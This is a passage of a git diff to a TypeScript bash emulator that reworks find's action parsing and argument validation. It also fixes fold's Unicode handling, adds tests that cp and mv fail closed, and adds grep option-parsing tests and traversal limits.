+          if (output) output.appendResult(result);
+          else {
+            appendStdout(result.stdout);
+            appendStderr(result.stderr);
+          }
+          if (result.exitCode !== 0) exitCode = result.exitCode;
+          break;
         }
       }
-    } else if (useDefaultPrint) {
-      // Default: print with newline separator
-      stdout = results.length > 0 ? `${results.join("\n")}\n` : "";
     }
 
-    return { stdout, stderr, exitCode };
+    for (const [action, paths] of batchExecPaths) {
+      if (action.type !== "exec" || !ctx.exec || paths.length === 0) continue;
+      const cmdWithFiles: string[] = [];
+      for (const part of action.command) {
+        if (part === "{}") cmdWithFiles.push(...paths);
+        else cmdWithFiles.push(part);
+      }
+      const result = await ctx.exec(shellJoinArgs([cmdWithFiles[0]]), {
+        cwd: ctx.cwd,
+        signal: ctx.signal,
+        args: cmdWithFiles.slice(1),
+      });
+      if (output) output.appendResult(result);
+      else {
+        appendStdout(result.stdout);
+        appendStderr(result.stderr);
+      }
+      if (result.exitCode !== 0) exitCode = result.exitCode;
+    }
+
+    return (
+      output?.build(exitCode) ?? {
+        stdout: stdoutChunks.join(""),
+        stderr: stderrChunks.join(""),
+        exitCode,
+      }
+    );
   },
 };
 
+function collectActions(expr: Expression | null): FindAction[] {
+  if (!expr) return [];
+  if (expr.type === "action") return [expr.action];
+  if (expr.type === "not") return collectActions(expr.expr);
+  if (expr.type === "and" || expr.type === "or") {
+    return [...collectActions(expr.left), ...collectActions(expr.right)];
+  }
+  return [];
+}
+
 /**
  * Format a find -printf format string
  * Supported directives (all support optional width/precision like %-20.10f):
diff --git a/packages/just-bash/src/commands/find/matcher.ts b/packages/just-bash/src/commands/find/matcher.ts
index b30ab6b3..437c1f02 100644
--- a/packages/just-bash/src/commands/find/matcher.ts
+++ b/packages/just-bash/src/commands/find/matcher.ts
@@ -181,24 +181,39 @@ export function evaluateExpressionWithPrune(
     case "prune":
       // -prune always returns true and sets the prune flag
       return { matches: true, pruned: true, printed: false };
-    case "print":
-      // -print always returns true and sets the print flag
-      return { matches: true, pruned: false, printed: true };
+    case "action":
+      return {
+        matches: true,
+        pruned: false,
+        printed: false,
+        actions: [expr.action],
+      };
     case "not": {
       const inner = evaluateExpressionWithPrune(expr.expr, ctx);
-      return { matches: !inner.matches, pruned: inner.pruned, printed: false };
+      return {
+        matches: !inner.matches,
+        pruned: inner.pruned,
+        printed: false,
+        actions: inner.actions,
+      };
     }
     case "and": {
       const left = evaluateExpressionWithPrune(expr.left, ctx);
       if (!left.matches) {
         // Short-circuit: if left is false, prune from left is still propagated
-        return { matches: false, pruned: left.pruned, printed: false };
+        return {
+          matches: false,
+          pruned: left.pruned,
+          printed: false,
+          actions: left.actions,
+        };
       }
       const right = evaluateExpressionWithPrune(expr.right, ctx);
       return {
         matches: right.matches,
         pruned: left.pruned || right.pruned,
         printed: left.printed || right.printed,
+        actions: [...(left.actions ?? []), ...(right.actions ?? [])],
       };
     }
     case "or": {
@@ -212,6 +227,7 @@ export function evaluateExpressionWithPrune(
         matches: right.matches,
         pruned: left.pruned || right.pruned,
         printed: right.printed, // Only use right's printed since left didn't match
+        actions: [...(left.actions ?? []), ...(right.actions ?? [])],
       };
     }
   }
@@ -231,7 +247,8 @@ export function expressionNeedsStatMetadata(expr: Expression | null): boolean {
     case "regex":
     case "type":
     case "prune":
-    case "print":
+      return false;
+    case "action":
       return false;
 
     // These need stat metadata
@@ -276,101 +293,6 @@ export function expressionNeedsEmptyCheck(expr: Expression | null): boolean {
   }
 }
 
-/**
- * Analyze a path expression for pruning opportunities.
- * For patterns like "*\/pulls\/*.json", we can skip descending into "pulls" subdirectories
- * since files must be directly inside "pulls".
- */
-export interface PathPruningHint {
-  /** If set, when in a directory with this name, don't descend into subdirs */
-  terminalDirName: string | null;
-  /** If set, files must have this extension (e.g., ".json") */
-  requiredExtension: string | null;
-}
-
-/**
- * Extract path pruning hints from an expression tree.
- * Returns hints that can be used to skip unnecessary directory traversal.
- */
-export function extractPathPruningHints(
-  expr: Expression | null,
-): PathPruningHint {
-  const hint: PathPruningHint = {
-    terminalDirName: null,
-    requiredExtension: null,
-  };
-  if (!expr) return hint;
-
-  // Look for path expressions combined with type:f
-  // For pattern "*/X/*" (where X is literal), X is a terminal directory
-  const pathExprs = collectPathExpressions(expr);
-  const hasTypeFile = hasTypeFileFilter(expr);
-
-  if (hasTypeFile && pathExprs.length === 1) {
-    const pattern = pathExprs[0];
-    // Parse pattern: look for */literal/* or */literal/*.ext patterns
-    const parts = pattern.split("/").filter((p) => p.length > 0);
-
-    // Check if pattern is */X/* or */X/*.ext where X is literal
-    // (at least 3 parts, middle one is literal, last one is wildcard)
-    if (parts.length >= 2) {
-      // Find the last literal segment before the filename pattern
-      for (let i = parts.length - 2; i >= 0; i--) {
-        const part = parts[i];
-        if (
-          !part.includes("*") &&
-          !part.includes("?") &&
-          !part.includes("[") &&
-          part !== "." &&
-          part !== ".."
-        ) {
-          // This is a literal directory name
-          // Check if the next part (filename) is a wildcard pattern
-          const nextPart = parts[i + 1];
-          if (nextPart && (nextPart.includes("*") || nextPart.includes("?"))) {
-            hint.terminalDirName = part;
-            // Extract extension from patterns like "*.json"
-            const extMatch = nextPart.match(/^\*(\.[a-zA-Z0-9]+)$/);
-            if (extMatch) {
-              hint.requiredExtension = extMatch[1];
-            }
-          }
-          break;
-        }
-      }
-    }
-  }
-
-  return hint;
-}
-
-function collectPathExpressions(expr: Expression): string[] {
-  const paths: string[] = [];
-  const collect = (e: Expression): void => {
-    if (e.type === "path") {
-      paths.push(e.pattern);
-    } else if (e.type === "not") {
-      collect(e.expr);
-    } else if (e.type === "and" || e.type === "or") {
-      collect(e.left);
-      collect(e.right);
-    }
-  };
-  collect(expr);
-  return paths;
-}
-
-function hasTypeFileFilter(expr: Expression): boolean {
-  const check = (e: Expression): boolean => {
-    if (e.type === "type" && e.fileType === "f") return true;
-    if (e.type === "not") return check(e.expr);
-    if (e.type === "and") return check(e.left) || check(e.right);
-    if (e.type === "or") return check(e.left) || check(e.right);
-    return false;
-  };
-  return check(expr);
-}
-
 // Helper to collect and resolve -newer reference file mtimes
 export function collectNewerRefs(expr: Expression | null): string[] {
   const refs: string[] = [];
@@ -416,8 +338,9 @@ export function isSimpleExpression(expr: Expression | null): boolean {
     case "regex":
     case "type":
     case "prune":
-    case "print":
       return true;
+    case "action":
+      return false;
 
     // These need stat metadata or directory contents
     case "empty":
@@ -544,8 +467,13 @@ export function evaluateSimpleExpression(
       return { matches: false, pruned: false, printed: false };
     case "prune":
       return { matches: true, pruned: true, printed: false };
-    case "print":
-      return { matches: true, pruned: false, printed: true };
+    case "action":
+      return {
+        matches: true,
+        pruned: false,
+        printed: false,
+        actions: [expr.action],
+      };
     case "not": {
       const inner = evaluateSimpleExpression(
         expr.expr,
@@ -554,7 +482,12 @@ export function evaluateSimpleExpression(
         isFile,
         isDirectory,
       );
-      return { matches: !inner.matches, pruned: inner.pruned, printed: false };
+      return {
+        matches: !inner.matches,
+        pruned: inner.pruned,
+        printed: false,
+        actions: inner.actions,
+      };
     }
     case "and": {
       const left = evaluateSimpleExpression(
@@ -565,7 +498,12 @@ export function evaluateSimpleExpression(
         isDirectory,
       );
       if (!left.matches) {
-        return { matches: false, pruned: left.pruned, printed: false };
+        return {
+          matches: false,
+          pruned: left.pruned,
+          printed: false,
+          actions: left.actions,
+        };
       }
       const right = evaluateSimpleExpression(
         expr.right,
@@ -578,6 +516,7 @@ export function evaluateSimpleExpression(
         matches: right.matches,
         pruned: left.pruned || right.pruned,
         printed: left.printed || right.printed,
+        actions: [...(left.actions ?? []), ...(right.actions ?? [])],
       };
     }
     case "or": {
@@ -602,6 +541,7 @@ export function evaluateSimpleExpression(
         matches: right.matches,
         pruned: left.pruned || right.pruned,
         printed: right.printed,
+        actions: [...(left.actions ?? []), ...(right.actions ?? [])],
       };
     }
     default:
@@ -642,8 +582,9 @@ function canEvaluateExpressionEarly(expr: Expression): boolean {
     case "regex":
     case "type":
     case "prune":
-    case "print":
       return true;
+    case "action":
+      return false;
 
     // These need stat metadata or directory contents
     case "empty":
diff --git a/packages/just-bash/src/commands/find/parser.ts b/packages/just-bash/src/commands/find/parser.ts
index 84b3bca8..b1aa5ade 100644
--- a/packages/just-bash/src/commands/find/parser.ts
+++ b/packages/just-bash/src/commands/find/parser.ts
@@ -1,6 +1,6 @@
 // Parser for find expressions
 
-import type { Expression, FindAction, ParseResult, SizeUnit } from "./types.js";
+import type { Expression, ParseResult, SizeUnit } from "./types.js";
 
 // Token types for parsing
 type Token =
@@ -16,9 +16,20 @@ export function parseExpressions(
 ): ParseResult {
   // Parse into tokens: expressions, operators, negations, and parentheses
   const tokens: Token[] = [];
-  const actions: FindAction[] = [];
   let i = startIndex;
 
+  const missingArgument = (predicate: string): ParseResult => ({
+    expr: null,
+    pathIndex: i,
+    error: `find: missing argument to \`${predicate}'\n`,
+  });
+
+  const invalidArgument = (predicate: string, value: string): ParseResult => ({
+    expr: null,
+    pathIndex: i,
+    error: `find: invalid argument \`${value}' to \`${predicate}'\n`,
+  });
+
   while (i < args.length) {
     const arg = args[i];
 
@@ -34,31 +45,38 @@ export function parseExpressions(
       continue;
     }
 
-    if (arg === "-name" && i + 1 < args.length) {
+    if (arg === "-name") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({ type: "expr", expr: { type: "name", pattern: args[++i] } });
-    } else if (arg === "-iname" && i + 1 < args.length) {
+    } else if (arg === "-iname") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({
         type: "expr",
         expr: { type: "name", pattern: args[++i], ignoreCase: true },
       });
-    } else if (arg === "-path" && i + 1 < args.length) {
+    } else if (arg === "-path") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({ type: "expr", expr: { type: "path", pattern: args[++i] } });
-    } else if (arg === "-ipath" && i + 1 < args.length) {
+    } else if (arg === "-ipath") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({
         type: "expr",
         expr: { type: "path", pattern: args[++i], ignoreCase: true },
       });
-    } else if (arg === "-regex" && i + 1 < args.length) {
+    } else if (arg === "-regex") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({
         type: "expr",
         expr: { type: "regex", pattern: args[++i] },
       });
-    } else if (arg === "-iregex" && i + 1 < args.length) {
+    } else if (arg === "-iregex") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       tokens.push({
         type: "expr",
         expr: { type: "regex", pattern: args[++i], ignoreCase: true },
       });
-    } else if (arg === "-type" && i + 1 < args.length) {
+    } else if (arg === "-type") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const fileType = args[++i];
       if (fileType === "f" || fileType === "d") {
         tokens.push({ type: "expr", expr: { type: "type", fileType } });
@@ -67,12 +85,12 @@ export function parseExpressions(
           expr: null,
           pathIndex: i,
           error: `find: Unknown argument to -type: ${fileType}\n`,
-          actions: [],
         };
       }
     } else if (arg === "-empty") {
       tokens.push({ type: "expr", expr: { type: "empty" } });
-    } else if (arg === "-mtime" && i + 1 < args.length) {
+    } else if (arg === "-mtime") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const mtimeArg = args[++i];
       let comparison: "exact" | "more" | "less" = "exact";
       let daysStr = mtimeArg;
@@ -83,17 +101,19 @@ export function parseExpressions(
         comparison = "less";
         daysStr = mtimeArg.slice(1);
       }
-      const days = parseInt(daysStr, 10);
-      if (!Number.isNaN(days)) {
-        tokens.push({
-          type: "expr",
-          expr: { type: "mtime", days, comparison },
-        });
-      }
-    } else if (arg === "-newer" && i + 1 < args.length) {
+      if (!/^\d+$/.test(daysStr)) return invalidArgument(arg, mtimeArg);
+      const days = Number(daysStr);
+      if (!Number.isSafeInteger(days)) return invalidArgument(arg, mtimeArg);
+      tokens.push({
+        type: "expr",
+        expr: { type: "mtime", days, comparison },
+      });
+    } else if (arg === "-newer") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const refPath = args[++i];
       tokens.push({ type: "expr", expr: { type: "newer", refPath } });
-    } else if (arg === "-size" && i + 1 < args.length) {
+    } else if (arg === "-size") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const sizeArg = args[++i];
       let comparison: "exact" | "more" | "less" = "exact";
       let sizeStr = sizeArg;
@@ -106,15 +126,29 @@ export function parseExpressions(
       }
       // Parse size with optional suffix (c=bytes, k=KB, M=MB, G=GB, default=512-byte blocks)
       const sizeMatch = sizeStr.match(/^(\d+)([ckMGb])?$/);
-      if (sizeMatch) {
-        const value = parseInt(sizeMatch[1], 10);
-        const unit = (sizeMatch[2] || "b") as SizeUnit;
-        tokens.push({
-          type: "expr",
-          expr: { type: "size", value, unit, comparison },
-        });
+      if (!sizeMatch) return invalidArgument(arg, sizeArg);
+      const value = Number(sizeMatch[1]);
+      if (!Number.isSafeInteger(value)) return invalidArgument(arg, sizeArg);
+      const unit = (sizeMatch[2] || "b") as SizeUnit;
+      const multiplier =
+        unit === "G"
+          ? 1024 ** 3
+          : unit === "M"
+            ? 1024 ** 2
+            : unit === "k"
+              ? 1024
+              : unit === "b"
+                ? 512
+                : 1;
+      if (!Number.isSafeInteger(value * multiplier)) {
+        return invalidArgument(arg, sizeArg);
       }
-    } else if (arg === "-perm" && i + 1 < args.length) {
+      tokens.push({
+        type: "expr",
+        expr: { type: "size", value, unit, comparison },
+      });
+    } else if (arg === "-perm") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const permArg = args[++i];
       // Parse permission mode: octal, -mode (all bits), /mode (any bit)
       let matchType: "exact" | "all" | "any" = "exact";
@@ -127,13 +161,12 @@ export function parseExpressions(
         modeStr = permArg.slice(1);
       }
       // Parse as octal
-      const mode = parseInt(modeStr, 8);
-      if (!Number.isNaN(mode)) {
-        tokens.push({
-          type: "expr",
-          expr: { type: "perm", mode, matchType },
-        });
-      }
+      if (!/^[0-7]{1,4}$/.test(modeStr)) return invalidArgument(arg, permArg);
+      const mode = Number.parseInt(modeStr, 8);
+      tokens.push({
+        type: "expr",
+        expr: { type: "perm", mode, matchType },
+      });
     } else if (arg === "-prune") {
       tokens.push({ type: "expr", expr: { type: "prune" } });
     } else if (arg === "-not" || arg === "!") {
@@ -144,6 +177,7 @@ export function parseExpressions(
       tokens.push({ type: "op", op: "and" });
     } else if (arg === "-maxdepth" || arg === "-mindepth") {
       // These are handled separately, skip them
+      if (i + 1 >= args.length) return missingArgument(arg);
       i++;
     } else if (arg === "-depth") {
       // Handled separately in find.ts, skip it
@@ -160,53 +194,77 @@ export function parseExpressions(
           expr: null,
           pathIndex: i,
           error: "find: missing argument to `-exec'\n",
-          actions: [],
         };
       }
+      if (commandParts.length === 0) {
+        return missingArgument("-exec");
+      }
       const batchMode = args[i] === "+";
-      actions.push({ type: "exec", command: commandParts, batchMode });
+      if (
+        batchMode &&
+        (commandParts.at(-1) !== "{}" ||
+          commandParts.filter((part) => part === "{}").length !== 1)
+      ) {
+        return invalidArgument("-exec", "+");
+      }
+      tokens.push({
+        type: "expr",
+        expr: {
+          type: "action",
+          action: { type: "exec", command: commandParts, batchMode },
+        },
+      });
     } else if (arg === "-print") {
-      // -print is both an expression (returns true, marks for printing) and an action
-      tokens.push({ type: "expr", expr: { type: "print" } });
-      actions.push({ type: "print" });
+      tokens.push({
+        type: "expr",
+        expr: { type: "action", action: { type: "print" } },
+      });
     } else if (arg === "-print0") {
-      actions.push({ type: "print0" });
-    } else if (arg === "-printf" && i + 1 < args.length) {
+      tokens.push({
+        type: "expr",
+        expr: { type: "action", action: { type: "print0" } },
+      });
+    } else if (arg === "-printf") {
+      if (i + 1 >= args.length) return missingArgument(arg);
       const format = args[++i];
-      actions.push({ type: "printf", format });
+      tokens.push({
+        type: "expr",
+        expr: { type: "action", action: { type: "printf", format } },
+      });
     } else if (arg === "-delete") {
-      actions.push({ type: "delete" });
+      tokens.push({
+        type: "expr",
+        expr: { type: "action", action: { type: "delete" } },
+      });
     } else if (arg.startsWith("-")) {
       // Unknown predicate
       return {
         expr: null,
         pathIndex: i,
         error: `find: unknown predicate '${arg}'\n`,
-        actions: [],
       };
     } else {
-      // This is the path - skip if at start, otherwise stop
-      if (tokens.length === 0) {
-        i++;
-        continue;
-      }
-      break;
+      return {
+        expr: null,
+        pathIndex: i,
+        error: `find: paths must precede expression: \`${arg}'\n`,
+      };
     }
     i++;
   }
 
   if (tokens.length === 0) {
-    return { expr: null, pathIndex: i, actions };
+    return { expr: null, pathIndex: i };
   }
 
   // Build expression tree using recursive descent parsing
   // Handles: parentheses > NOT > AND > OR (precedence high to low)
   const result = buildExpressionTree(tokens);
   if (result.error) {
-    return { expr: null, pathIndex: i, error: result.error, actions };
+    return { expr: null, pathIndex: i, error: result.error };
   }
 
-  return { expr: result.expr, pathIndex: i, actions };
+  return { expr: result.expr, pathIndex: i };
 }
 
 /**
@@ -221,6 +279,7 @@ function buildExpressionTree(tokens: Token[]): {
   error?: string;
 } {
   let pos = 0;
+  let error: string | undefined;
 
   // Parse OR expressions (lowest precedence)
   function parseOr(): Expression | null {
@@ -232,7 +291,10 @@ function buildExpressionTree(tokens: Token[]): {
       if (token.type === "op" && token.op === "or") {
         pos++;
         const right = parseAnd();
-        if (!right) return left;
+        if (!right) {
+          error = "find: expected an expression after `-o'\n";
+          return null;
+        }
         left = { type: "or", left, right };
       } else {
         break;
@@ -252,7 +314,10 @@ function buildExpressionTree(tokens: Token[]): {
       if (token.type === "op" && token.op === "and") {
         pos++;
         const right = parseNot();
-        if (!right) return left;
+        if (!right) {
+          error = "find: expected an expression after `-a'\n";
+          return null;
+        }
         left = { type: "and", left, right };
       }
       // Implicit AND: two adjacent expressions (not OR, not rparen)
@@ -276,7 +341,10 @@ function buildExpressionTree(tokens: Token[]): {
     if (pos < tokens.length && tokens[pos].type === "not") {
       pos++;
       const expr = parseNot(); // NOT can chain: ! ! expr
-      if (!expr) return null;
+      if (!expr) {
+        error = "find: expected an expression after `!'\n";
+        return null;
+      }
       return { type: "not", expr };
     }
     return parsePrimary();
@@ -292,10 +360,11 @@ function buildExpressionTree(tokens: Token[]): {
     if (token.type === "lparen") {
       pos++;
       const expr = parseOr();
-      // Consume closing paren if present
-      if (pos < tokens.length && tokens[pos].type === "rparen") {
-        pos++;
+      if (!expr || pos >= tokens.length || tokens[pos].type !== "rparen") {
+        error = "find: missing closing `)'\n";
+        return null;
       }
+      pos++;
       return expr;
     }
 
@@ -314,5 +383,28 @@ function buildExpressionTree(tokens: Token[]): {
   }
 
   const expr = parseOr();
-  return { expr };
+  if (!error && pos < tokens.length) {
+    error =
+      tokens[pos].type === "rparen"
+        ? "find: unexpected `)'\n"
+        : "find: invalid expression\n";
+  }
+  if (!error && expr && containsNegatedDelete(expr)) {
+    error = "find: refusing to evaluate `-delete' under negation\n";
+  }
+  return { expr: error ? null : expr, error };
+}
+
+function containsNegatedDelete(expr: Expression, negated = false): boolean {
+  if (expr.type === "action") {
+    return negated && expr.action.type === "delete";
+  }
+  if (expr.type === "not") return containsNegatedDelete(expr.expr, !negated);
+  if (expr.type === "and" || expr.type === "or") {
+    return (
+      containsNegatedDelete(expr.left, negated) ||
+      containsNegatedDelete(expr.right, negated)
+    );
+  }
+  return false;
 }
diff --git a/packages/just-bash/src/commands/find/types.ts b/packages/just-bash/src/commands/find/types.ts
index c5433727..2feb0abd 100644
--- a/packages/just-bash/src/commands/find/types.ts
+++ b/packages/just-bash/src/commands/find/types.ts
@@ -21,7 +21,7 @@ export type Expression =
       matchType: "exact" | "all" | "any"; // exact, -mode (all), /mode (any)
     }
   | { type: "prune" } // Returns true and prevents descending into directories
-  | { type: "print" } // Returns true and marks path for printing
+  | { type: "action"; action: FindAction }
   | { type: "not"; expr: Expression }
   | { type: "and"; left: Expression; right: Expression }
   | { type: "or"; left: Expression; right: Expression };
@@ -55,7 +55,8 @@ export interface EvalContext {
 export interface EvalResult {
   matches: boolean;
   pruned: boolean; // Set to true if -prune was evaluated and matched
-  printed: boolean; // Set to true if -print was evaluated and matched
+  printed: boolean; // Kept for the prune-only fast path
+  actions?: FindAction[]; // Actions reached while evaluating this entry
 }
 
 // Parse result from expression parser
@@ -63,5 +64,4 @@ export interface ParseResult {
   expr: Expression | null;
   pathIndex: number;
   error?: string;
-  actions: FindAction[];
 }
diff --git a/packages/just-bash/src/commands/fold/fold.ts b/packages/just-bash/src/commands/fold/fold.ts
index d8390431..c38c6393 100644
--- a/packages/just-bash/src/commands/fold/fold.ts
+++ b/packages/just-bash/src/commands/fold/fold.ts
@@ -7,8 +7,12 @@
  * If no FILE is specified, standard input is read.
  */
 
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const foldHelp = {
@@ -46,7 +50,7 @@ function getCharWidth(
 ): number {
   if (countBytes) {
     // In byte mode, each character is 1 byte (simplified - assumes ASCII)
-    return new TextEncoder().encode(char).length;
+    return utf8ByteLength(char);
   }
 
   if (char === "\t") {
@@ -75,8 +79,10 @@ function foldLine(line: string, options: FoldOptions): string {
   let lastSpaceIndex = -1;
   let lastSpaceColumn = 0;
 
-  for (let i = 0; i < line.length; i++) {
-    const char = line[i];
+  // Iterate by Unicode code point so a wrap can never split a surrogate pair.
+  // `currentLine` remains a JavaScript string, therefore tracked indices are
+  // still UTF-16 offsets suitable for slice().
+  for (const char of line) {
     const charWidth = getCharWidth(char, currentColumn, countBytes);
 
     // Would this character exceed the width?
@@ -132,9 +138,12 @@ function processContent(content: string, options: FoldOptions): string {
   return foldedLines.join("\n") + (hasTrailingNewline ? "\n" : "");
 }
 
-export const fold: Command = {
+export const fold: RuntimeCommand = {
   name: "fold",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(foldHelp);
     }
diff --git a/packages/just-bash/src/commands/fold/fold.utf8-stdin.test.ts b/packages/just-bash/src/commands/fold/fold.utf8-stdin.test.ts
index c85ce424..cf126501 100644
--- a/packages/just-bash/src/commands/fold/fold.utf8-stdin.test.ts
+++ b/packages/just-bash/src/commands/fold/fold.utf8-stdin.test.ts
@@ -10,4 +10,21 @@ describe("fold reads UTF-8 from stdin", () => {
     expect(result.exitCode).toBe(0);
     expect(result.stdout).toBe("한글\nca\nfé\n");
   });
+
+  it("never splits an emoji surrogate pair", async () => {
+    const env = new Bash({ files: { "/in.txt": "A😀B\n" } });
+    const result = await env.exec("cat /in.txt | fold -w 1");
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe("A\n😀\nB\n");
+    expect(result.stdout).not.toMatch(
+      /[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?<![\uD800-\uDBFF])[\uDC00-\uDFFF]/u,
+    );
+  });
+
+  it("counts the complete UTF-8 byte width of each codepoint", async () => {
+    const env = new Bash({ files: { "/in.txt": "😀a\n" } });
+    const result = await env.exec("cat /in.txt | fold -b -w 4");
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe("😀\na\n");
+  });
 });
diff --git a/packages/just-bash/src/commands/fs-identity.security.test.ts b/packages/just-bash/src/commands/fs-identity.security.test.ts
new file mode 100644
index 00000000..50241351
--- /dev/null
+++ b/packages/just-bash/src/commands/fs-identity.security.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { InMemoryFs } from "../fs/in-memory-fs/in-memory-fs.js";
+import type { FsStat } from "../fs/interface.js";
+
+class IdentitylessFs extends InMemoryFs {
+  override async stat(path: string): Promise<FsStat> {
+    const {
+      identity: _identity,
+      dev: _dev,
+      ino: _ino,
+      ...stat
+    } = await super.stat(path);
+    return stat;
+  }
+}
+
+class NoRealpathFs extends InMemoryFs {
+  override async realpath(_path: string): Promise<string> {
+    throw new Error("ENOTSUP: realpath unavailable");
+  }
+}
+
+describe("destructive command filesystem identity policy", () => {
+  it.each([
+    "cp",
+    "mv",
+  ])("%s permits an ordinary nonexistent file destination without realpath", async (command) => {
+    const fs = new NoRealpathFs({ "/source": "content" });
+    const bash = new Bash({ fs });
+
+    const result = await bash.exec(`${command} /source /new`);
+
+    expect(result.exitCode).toBe(0);
+    expect(await fs.readFile("/new")).toBe("content");
+  });
+
+  it.each([
+    "cp",
+    "mv",
+  ])("%s fails closed before replacing an existing file with unknown identity", async (command) => {
+    const fs = new IdentitylessFs({
+      "/source": "new",
+      "/destination": "old",
+    });
+    const bash = new Bash({ fs });
+
+    const result = await bash.exec(`${command} /source /destination`);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("cannot safely determine");
+    expect(await fs.readFile("/source")).toBe("new");
+    expect(await fs.readFile("/destination")).toBe("old");
+  });
+
+  it.each([
+    "cp -r",
+    "mv",
+  ])("%s fails closed when recursive containment cannot be canonicalized", async (command) => {
+    const fs = new NoRealpathFs({ "/source/file": "content" });
+    const bash = new Bash({ fs });
+
+    const result = await bash.exec(`${command} /source /destination`);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("cannot safely determine");
+    expect(await fs.readFile("/source/file")).toBe("content");
+    await expect(fs.stat("/destination")).rejects.toThrow("ENOENT");
+  });
+});
diff --git a/packages/just-bash/src/commands/grep/grep.options.test.ts b/packages/just-bash/src/commands/grep/grep.options.test.ts
new file mode 100644
index 00000000..6256a198
--- /dev/null
+++ b/packages/just-bash/src/commands/grep/grep.options.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+function expectResult(
+  result: { stdout: string; stderr: string; exitCode: number },
+  expected: { stdout: string; stderr: string; exitCode: number },
+): void {
+  expect({
+    stdout: result.stdout,
+    stderr: result.stderr,
+    exitCode: result.exitCode,
+  }).toEqual(expected);
+}
+
+describe("grep option parsing", () => {
+  it("stops parsing options after --", async () => {
+    const env = new Bash({
+      files: {
+        "/patterns.txt": "match\n-x\n--help\n",
+        "/-input.txt": "match\n",
+      },
+    });
+
+    const pattern = await env.exec("grep -- match /patterns.txt");
+    expectResult(pattern, {
+      stdout: "match\n",
+      stderr: "",
+      exitCode: 0,
+    });
+
+    const dashedPattern = await env.exec("grep -- -x /patterns.txt");
+    expectResult(dashedPattern, {
+      stdout: "-x\n",
+      stderr: "",
+      exitCode: 0,
+    });
+
+    const helpPattern = await env.exec("grep -- --help /patterns.txt");
+    expectResult(helpPattern, {
+      stdout: "--help\n",
+      stderr: "",
+      exitCode: 0,
+    });
+
+    const dashedFile = await env.exec("grep match -- -input.txt");
+    expectResult(dashedFile, {
+      stdout: "match\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("allows option-like values as option arguments", async () => {
+    const env = new Bash({
+      files: {
+        "/patterns.txt": "--\nmatch\n",
+      },
+    });
+
+    const result = await env.exec("grep -e -- /patterns.txt");
+    expectResult(result, {
+      stdout: "--\n",
+      stderr: "",
+      exitCode: 0,
+    });
+
+    const helpPattern = await env.exec("grep -e --help /patterns.txt");
+    expectResult(helpPattern, {
+      stdout: "",
+      stderr: "",
+      exitCode: 1,
+    });
+  });
+});
diff --git a/packages/just-bash/src/commands/grep/grep.ts b/packages/just-bash/src/commands/grep/grep.ts
index 71b10633..359b1144 100644
--- a/packages/just-bash/src/commands/grep/grep.ts
+++ b/packages/just-bash/src/commands/grep/grep.ts
@@ -1,8 +1,14 @@
 import { decodeBytesToUtf8 } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import type { UserRegex } from "../../regex/index.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { matchGlob } from "../../utils/glob.js";
-import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { showHelp, unknownOption } from "../help.js";
 import { buildRegex, searchContent } from "../search-engine/index.js";
 
 /** File entry with optional type info from glob expansion */
@@ -11,6 +17,38 @@ interface FileEntry {
   isFile?: boolean; // undefined means we need to stat
 }
 
+interface GrepTraversalBudget {
+  operations: number;
+  results: number;
+  maxOperations: number;
+  maxResults: number;
+}
+
+function getMatcherWorkLimit(ctx: RuntimeCommandContext): number {
+  const loopLimit = ctx.limits.maxLoopIterations;
+  const arrayLimit = ctx.limits.maxArrayElements;
+  return Math.max(loopLimit, Math.min(arrayLimit, loopLimit * 10));
+}
+
+function useTraversalOperation(budget: GrepTraversalBudget): void {
+  if (++budget.operations > budget.maxOperations) {
+    throw new ExecutionLimitError(
+      `grep: glob operation limit exceeded (${budget.maxOperations})`,
+      "glob_operations",
+    );
+  }
+}
+
+function addTraversalResult(budget: GrepTraversalBudget): void {
+  if (budget.results >= budget.maxResults) {
+    throw new ExecutionLimitError(
+      `grep: array element limit exceeded (${budget.maxResults})`,
+      "array_elements",
+    );
+  }
+  budget.results++;
+}
+
 const grepHelp = {
   name: "grep",
   summary: "print lines that match patterns",
@@ -43,14 +81,13 @@ const grepHelp = {
   ],
 };
 
-export const grepCommand: Command = {
+export const grepCommand: RuntimeCommand = {
   name: "grep",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
-    if (hasHelpFlag(args)) {
-      return showHelp(grepHelp);
-    }
-
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     let ignoreCase = false;
     let showLineNumbers = false;
     let invertMatch = false;
@@ -74,12 +111,22 @@ export const grepCommand: Command = {
